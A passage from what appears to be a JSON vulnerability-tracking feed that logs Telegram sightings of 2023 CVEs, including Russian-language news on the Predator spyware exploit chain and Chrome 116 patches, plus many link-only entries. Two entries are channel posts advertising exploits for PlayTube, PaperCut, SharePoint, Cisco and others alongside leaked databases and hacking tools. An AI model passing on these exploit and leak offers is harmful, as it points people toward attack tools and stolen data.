\u0440\u044f\u0434\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u043f\u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u0435\u0439.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441 Facebook (\u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 \u0432 \u0420\u0424 \u044d\u043a\u0441\u0442\u0440\u0435\u043c\u0438\u0441\u0442\u0441\u043a\u043e\u0439) \u0442\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0447\u0442\u043e Cytrox \u0438\u043c\u0435\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043a\u043b\u0438\u0435\u043d\u0442\u0443\u0440\u0443 \u0432 \u0410\u0440\u043c\u0435\u043d\u0438\u0438, \u0413\u0440\u0435\u0446\u0438\u0438, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u0438, \u041c\u0430\u0434\u0430\u0433\u0430\u0441\u043a\u0430\u0440\u0435, \u041e\u043c\u0430\u043d\u0435, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0438 \u0438 \u0421\u0435\u0440\u0431\u0438\u0438.\n\nCitizen Lab \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u043c\u0430\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2023 \u0433\u043e\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 SMS \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 WhatsApp, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043a \u0441\u0435\u0442\u0438 Vodaphone Egypt \u0441 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0430\u0439\u0442 \u0447\u0435\u0440\u0435\u0437  \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0431\u0435\u0437 HTTPS. \n\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 iOS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0432 Safari \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2023-41991 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0438 CVE-2023- 41992 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u044f\u0434\u0440\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Google TAG \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e Predator \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Android \u0432 \u0415\u0433\u0438\u043f\u0442\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f CVE-2023-4762\u00a0\u0432 Chrome, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u2014 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u0435\u0442\u0430\u043b\u0438 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u044f\u0441\u043d\u044f\u0442\u044c \u043d\u0435 \u0441\u0442\u0430\u043b\u0438.\n\n\u0418 \u0431\u0435\u0437 \u0442\u043e\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u0447\u0442\u043e, \u043f\u043e\u0441\u043b\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0421\u0428\u0410 \u0432 \u0438\u044e\u043b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 Predator, Cytrox, \u0432 \u0441\u0432\u043e\u0439 \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u0441\u0442\u0430\u043b\u0438 \u0432\u0434\u0440\u0443\u0433 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0442\u0430\u043d\u0435\u0442 \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.\n\n\u0412\u0435\u0434\u044c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0439 \u0441\u043a\u0430\u043d\u0434\u0430\u043b \u0441 Predator \u0432 \u0413\u0440\u0435\u0446\u0438\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u0443\u044e \u043e\u0442\u0441\u0442\u0430\u0432\u043a\u0443 \u0434\u0432\u0443\u0445 \u0432\u044b\u0441\u043e\u043a\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430 \u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438. \u0422\u0435\u043f\u0435\u0440\u044c - \u0415\u0433\u0438\u043f\u0435\u0442.", "creation_timestamp": "2023-09-25T11:53:22.000000Z"}, {"uuid": "ba09a42c-4ee1-42f5-90c3-3dc133200735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4764", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "6e4d3112-12de-4327-9bce-49ab1329ffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47162", "type": "seen", "source": "https://t.me/ctinow/208912", "content": "https://ift.tt/dLTR2MP\nCVE-2023-47162", "creation_timestamp": "2024-03-15T16:26:25.000000Z"}, {"uuid": "bab3d163-c8a1-454a-8633-40d4e0a3a055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/crackcodes/4390", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-09-28T18:37:41.000000Z"}, {"uuid": "f07894ec-396b-4065-9cfa-f98639a142ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/crackcodes/4382", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-10-10T07:12:43.000000Z"}, {"uuid": "e9c92c3a-6e54-4e5f-8ebd-fc18c407a9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47162", "type": "seen", "source": "https://t.me/ctinow/208902", "content": "https://ift.tt/dLTR2MP\nCVE-2023-47162", "creation_timestamp": "2024-03-15T16:21:48.000000Z"}, {"uuid": "d949ce81-9bef-4381-9faf-67a2ea03c4b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4780", "type": "seen", "source": "https://t.me/ctinow/205823", "content": "https://ift.tt/uVZGkqe\nCVE-2023-4780", "creation_timestamp": "2024-03-12T16:32:09.000000Z"}, {"uuid": "e1b33482-7218-43d0-8a8f-6b3a8a85c58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47699", "type": "seen", "source": "https://t.me/ctinow/208959", "content": "https://ift.tt/g6huXBs\nCVE-2023-47699", "creation_timestamp": "2024-03-15T17:26:46.000000Z"}, {"uuid": "646285d1-f9b1-4d60-87ec-213e37ebcd35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47147", "type": "seen", "source": "https://t.me/ctinow/208958", "content": "https://ift.tt/KAoHDFr\nCVE-2023-47147", "creation_timestamp": "2024-03-15T17:26:45.000000Z"}, {"uuid": "ef63354f-1d58-4be6-b39b-a6c5a8d2c260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47699", "type": "seen", "source": "https://t.me/ctinow/208948", "content": "https://ift.tt/g6huXBs\nCVE-2023-47699", "creation_timestamp": "2024-03-15T17:26:33.000000Z"}, {"uuid": "082c5405-2f47-4867-bdb9-ae6aea479ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47147", "type": "seen", "source": "https://t.me/ctinow/208947", "content": "https://ift.tt/KAoHDFr\nCVE-2023-47147", "creation_timestamp": "2024-03-15T17:26:32.000000Z"}, {"uuid": "c8d20d97-029f-4397-860a-fe5d9317aff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4780", "type": "seen", "source": "https://t.me/ctinow/205807", "content": "https://ift.tt/uVZGkqe\nCVE-2023-4780", "creation_timestamp": "2024-03-12T16:26:40.000000Z"}, {"uuid": "afee0269-3203-4c78-b914-e2f8b6c66f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/ctinow/205805", "content": "https://ift.tt/mPxoNtD\nCVE-2023-47534", "creation_timestamp": "2024-03-12T16:26:38.000000Z"}, {"uuid": "9a7bfbe0-b78f-4245-bddd-c1553bf0d9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/ctinow/205821", "content": "https://ift.tt/mPxoNtD\nCVE-2023-47534", "creation_timestamp": "2024-03-12T16:32:06.000000Z"}, {"uuid": "25cca368-c4b5-4f1d-8270-a9b85646f30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4731", "type": "seen", "source": "https://t.me/ctinow/205551", "content": "https://ift.tt/wo9OtgT\nCVE-2023-4731", "creation_timestamp": "2024-03-12T11:36:34.000000Z"}, {"uuid": "9772759f-2314-485b-bf22-e40dc88c6501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4729", "type": "seen", "source": "https://t.me/ctinow/205550", "content": "https://ift.tt/VPRAzla\nCVE-2023-4729", "creation_timestamp": "2024-03-12T11:36:33.000000Z"}, {"uuid": "023c0ae7-62b6-4f50-bc31-3904609e028f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4728", "type": "seen", "source": "https://t.me/ctinow/205549", "content": "https://ift.tt/eOp8lKg\nCVE-2023-4728", "creation_timestamp": "2024-03-12T11:36:29.000000Z"}, {"uuid": "62681320-90d4-4f93-b689-ede53813b26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/203418", "content": "https://ift.tt/K2nQ1fx\nCVE-2023-47635 | Decidim up to 0.27.4 server-side request forgery", "creation_timestamp": "2024-03-08T16:21:38.000000Z"}, {"uuid": "b2806f0c-9cfb-4e2f-a721-da7ada1a3c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4731", "type": "seen", "source": "https://t.me/ctinow/205544", "content": "https://ift.tt/wo9OtgT\nCVE-2023-4731", "creation_timestamp": "2024-03-12T11:31:39.000000Z"}, {"uuid": "7c2e1aa4-3a35-4e5c-bd62-5ea35572995d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4729", "type": "seen", "source": "https://t.me/ctinow/205543", "content": "https://ift.tt/VPRAzla\nCVE-2023-4729", "creation_timestamp": "2024-03-12T11:31:38.000000Z"}, {"uuid": "2f6dad19-625b-4694-b686-c757a05832c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4728", "type": "seen", "source": "https://t.me/ctinow/205542", "content": "https://ift.tt/eOp8lKg\nCVE-2023-4728", "creation_timestamp": "2024-03-12T11:31:34.000000Z"}, {"uuid": "96608c86-8583-4d8f-9129-34369a129c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47090", "type": "seen", "source": "https://t.me/cibsecurity/73139", "content": "\u203c CVE-2023-47090 \u203c\n\nNATS nats-server before 2.9.23 and 2.10.x before 2.10.2 has an authentication bypass. An implicit $G user in an authorization block can sometimes be used for unauthenticated access, even when the intention of the configuration was for each user to have an account. The earliest affected version is 2.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-30T19:19:46.000000Z"}, {"uuid": "49a46fd5-1164-48dc-acf5-7e146dc5ec1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47221", "type": "seen", "source": "https://t.me/ctinow/203489", "content": "https://ift.tt/hMQZJbH\nCVE-2023-47221", "creation_timestamp": "2024-03-08T18:26:56.000000Z"}, {"uuid": "b44b50d2-a2ee-4f29-825d-83a51d667564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47634", "type": "seen", "source": "https://t.me/ctinow/203417", "content": "https://ift.tt/b3Z9uK2\nCVE-2023-47634 | Decidim up to 0.26.8/0.27.4 Endorsement race condition (GHSA-r275-j57c-7mf2)", "creation_timestamp": "2024-03-08T16:21:37.000000Z"}, {"uuid": "53e36908-ca5b-49a1-af81-6b05d35c85c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/196712", "content": "https://ift.tt/OuSwqM9\nCVE-2023-47353 | IMOU GO 1.0.11 com.oneed.dvr.service.DownloadFirmwareService information disclosure", "creation_timestamp": "2024-02-29T15:21:32.000000Z"}, {"uuid": "bc79f097-78e3-4b5b-8463-38e1064c08a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47221", "type": "seen", "source": "https://t.me/ctinow/203501", "content": "https://ift.tt/hMQZJbH\nCVE-2023-47221", "creation_timestamp": "2024-03-08T18:32:02.000000Z"}, {"uuid": "951c93d7-752f-49f9-acf1-2e0cd24beffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47745", "type": "seen", "source": "https://t.me/ctinow/198720", "content": "https://ift.tt/OLIBDtN\nCVE-2023-47745", "creation_timestamp": "2024-03-03T13:31:34.000000Z"}, {"uuid": "fcb44aac-3790-46ec-9984-f54419a08dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 